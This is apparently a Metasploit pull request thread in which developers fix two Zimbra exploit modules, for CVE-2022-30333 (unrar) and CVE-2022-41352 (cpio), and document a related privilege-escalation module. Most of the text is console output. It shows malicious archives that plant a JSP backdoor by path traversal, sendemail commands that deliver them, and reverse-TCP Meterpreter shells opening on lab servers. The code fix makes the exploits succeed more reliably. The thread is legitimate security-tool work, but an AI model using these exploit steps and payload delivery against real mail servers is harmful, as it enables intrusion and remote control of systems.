Zimbra fixes

[rbowes-r7]

These are a few small changes / cleanups to the Zimbra modules I wrote in the last couple months:

• Update documentation / comments with version numbers for modules that used to exploit unpatched vulnerabilities
• Move the documentation for cve-2022-37393 to the correct folder (it was accidentally in windows/ instead of linux/ - my bad!)
• Copy "validation" logic from the cve-2022-41352 (cpio) module to the cve-2022-30333 (unrar) module - that way, if they mistype RHOSTS or the server is going to block the request in some way, the module fails and they get notified before the exploitation file is generated and registered for cleanup. This is what it looked like before:

msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444 
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lttplp.jsp
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/lttplp.jsp every 5s [backgrounding]...
[-] Exploit aborted due to failure: unknown: Could not connect to the server to trigger the payload
[!] This exploit may require manual cleanup of '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lttplp.jsp' on the target

And this is what it looks like now:

msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444 
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/ydjqjyuvgj.jsp
[*] Checking the HTTP connection to the target
../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/ydjqjyuvgj.jsp
[-] Exploit aborted due to failure: unknown: Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)

[jmartin-tech]

@msjenkins-r7 test this please.

[cdelafuente-r7]

Thanks for these fixes @rbowes-r7! I just left one comment about using fail_with instead of return, otherwise, these changes looks good to me.

I found an issue that is likely not related to these changes but that might be fixed in this PR too. After emailing the payload (staged payload), the payload gets triggered and the first stager is sent. However, the second stage is never sent:

msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit verbose=true lhost=10.0.0.1 rhosts=10.0.0.30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) >
[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/xbiftax.jsp
[*] Checking the HTTP connection to the target
[+] payload.rar stored at /home/msfuser/.msf4/local/payload.rar
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/xbiftax.jsp every 5s [backgrounding]...

msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) >
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > sendemail -f myuser@mail.donotexistdomain.foo -t msfuser@mail.donotexistdomain.foo -u 'Hello' -m 'test foo' -s 10.0.0.30 -o tls=no -a /home/msfuser/.msf4/local/payload.rar
[*] exec: sendemail -f myuser@mail.donotexistdomain.foo -t msfuser@mail.donotexistdomain.foo -u 'Hello' -m 'test foo' -s 10.0.0.30 -o tls=no -a /home/msfuser/.msf4/local/payload.rar

Nov 08 12:15:24 n00tmeg-desktop sendemail[67687]: Email was sent successfully!
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) >
[*] Transmitting intermediate stager...(126 bytes)
[+] Successfully triggered the payload
[*] Sending stage (3045348 bytes) to 10.0.0.30
[!] This exploit may require manual cleanup of '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/xbiftax.jsp' on the target

msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > jobs

Jobs
====

No active jobs.

It looks like the handler is closed prematurely.

If I starting a handler manually, it works:

msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > use linux/x64/meterpreter/reverse_tcp
msf6 payload(linux/x64/meterpreter/reverse_tcp) > set LHOST 10.0.0.1
LHOST => 10.0.0.1
msf6 payload(linux/x64/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 1

[*] Started reverse TCP handler on 10.0.0.1:4444
msf6 payload(linux/x64/meterpreter/reverse_tcp) >
msf6 payload(linux/x64/meterpreter/reverse_tcp) >
msf6 payload(linux/x64/meterpreter/reverse_tcp) >
msf6 payload(linux/x64/meterpreter/reverse_tcp) > previous
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit verbose=true lhost=10.0.0.1 rhosts=10.0.0.30
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) >
[-] Handler failed to bind to 10.0.0.1:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/arjhjbwf.jsp
[*] Checking the HTTP connection to the target
[+] payload.rar stored at /home/msfuser/.msf4/local/payload.rar
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/arjhjbwf.jsp every 5s [backgrounding]...

msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > sendemail -f myuser@mail.donotexistdomain.foo -t msfuser@mail.donotexistdomain.foo -u 'Hello' -m 'test foo' -s 10.0.0.30 -o tls=no -a /home/msfuser/.msf4/local/payload.rar
[*] exec: sendemail -f myuser@mail.donotexistdomain.foo -t msfuser@mail.donotexistdomain.foo -u 'Hello' -m 'test foo' -s 10.0.0.30 -o tls=no -a /home/msfuser/.msf4/local/payload.rar

Nov 08 12:16:28 n00tmeg-desktop sendemail[67809]: Email was sent successfully!
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) >
[*] Sending stage (3045348 bytes) to 10.0.0.30
[+] Successfully triggered the payload
[!] This exploit may require manual cleanup of '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/arjhjbwf.jsp' on the target

msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > [*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.30:47824) at 2022-11-08 12:16:29 +0100

msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : mail.donotexistdomain.foo
OS           : Ubuntu 18.04 (Linux 5.4.0-122-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: zimbra

[rbowes-r7]

I fixed the simple thing - return -> fail_with

I think the issue was the handler closing here:

      if res.code == 200
        print_good('Successfully triggered the payload')
        break
      end

I changed it to set a variable and stop sending the HTTP request, but not stop the module (I made the same change to the cpio module as well). Not sure if there's a better way to "wait for shell", but this seems to work - a) it doesn't stop the module before getting the session, and b) it doesn't create multiple sessions by triggering the payload multiple times.

LMK what you think!

[cdelafuente-r7]

Thanks @rbowes-r7 ! This seems to have fixed the issue. I tested both modules and they work as expected. I just found the return statement is not necessary after the fail_with you added and should be removed. That said, since it is a minor change, I'll go ahead and patch it myself before landing the PR.

• Example output

msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit verbose=true lhost=192.168.100.1 rhosts=192.168.100.130
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) >
[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/fmqxtmval.jsp
[*] Checking the HTTP connection to the target
[+] payload.rar stored at /home/msfuser/.msf4/local/payload.rar
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/fmqxtmval.jsp every 5s [backgrounding]...

msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > sendemail -f myuser@mail.donotexistdomain.foo -t msfuser@mail.donotexistdomain.foo -u 'Hello' -m 'test foo' -s 192.168.100.130 -o tls=no -a /home/msfuser/.msf4/local/payload.rar
[*] exec: sendemail -f myuser@mail.donotexistdomain.foo -t msfuser@mail.donotexistdomain.foo -u 'Hello' -m 'test foo' -s 192.168.100.130 -o tls=no -a /home/msfuser/.msf4/local/payload.rar

Dec 06 14:50:10 fra-mbp-9921 sendemail[64023]: Email was sent successfully!
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 192.168.100.130
[+] Successfully triggered the payload
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/fmqxtmval.jsp
[*] Meterpreter session 1 opened (192.168.100.1:4444 -> 192.168.100.130:52898) at 2022-12-06 14:50:13 +0100

msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: zimbra
meterpreter > sysinfo
Computer     : mail.donotexistdomain.foo
OS           : Ubuntu 18.04 (Linux 5.4.0-131-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > exploit verbose=true lhost=192.168.100.1 rhosts=192.168.100.129
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) >
[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Encoding the payload as .jsp
[*] Checking the HTTP connection to the target
[*] Adding symlink to path to .tar file: /opt/zimbra/jetty_base/webapps/zimbra/
[*] Adding target file to the archive: public/tbtx.jsp
[+] payload.tar stored at /home/msfuser/.msf4/local/payload.tar
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/tbtx.jsp every 5s [backgrounding]...

msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > sendemail -f myuser@mail.donotexistdomain.foo -t admin@mail.donotexistdomain.foo -u 'Hello' -m 'test foo' -s 192.168.100.129 -o tls=no -a /home/msfuser/.msf4/local/payload.tar
[*] exec: sendemail -f myuser@mail.donotexistdomain.foo -t admin@mail.donotexistdomain.foo -u 'Hello' -m 'test foo' -s 192.168.100.129 -o tls=no -a /home/msfuser/.msf4/local/payload.tar

Dec 06 15:26:50 fra-mbp-9921 sendemail[65672]: Email was sent successfully!
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 192.168.100.129
[+] Successfully triggered the payload
[+] Deleted /opt/zimbra/jetty_base/webapps/zimbra/public/tbtx.jsp
[*] Meterpreter session 1 opened (192.168.100.1:4444 -> 192.168.100.129:54200) at 2022-12-06 15:26:56 +0100

msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : mail.donotexistdomain.foo
OS           : Ubuntu 20.04 (Linux 5.15.0-52-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: zimbra

[cdelafuente-r7]

Release Notes

This adds some small changes, cleanups and fixes to the linux/http/zimbra_unrar_cve_2022_30333 and linux/http/zimbra_cpio_cve_2022_41352 Zimbra exploit modules and linux/local/zimbra_slapper_priv_esc documentation. Particularly, this fixes an issue that prevented the exploit modules to work properly when the handler was prematurely shutdown.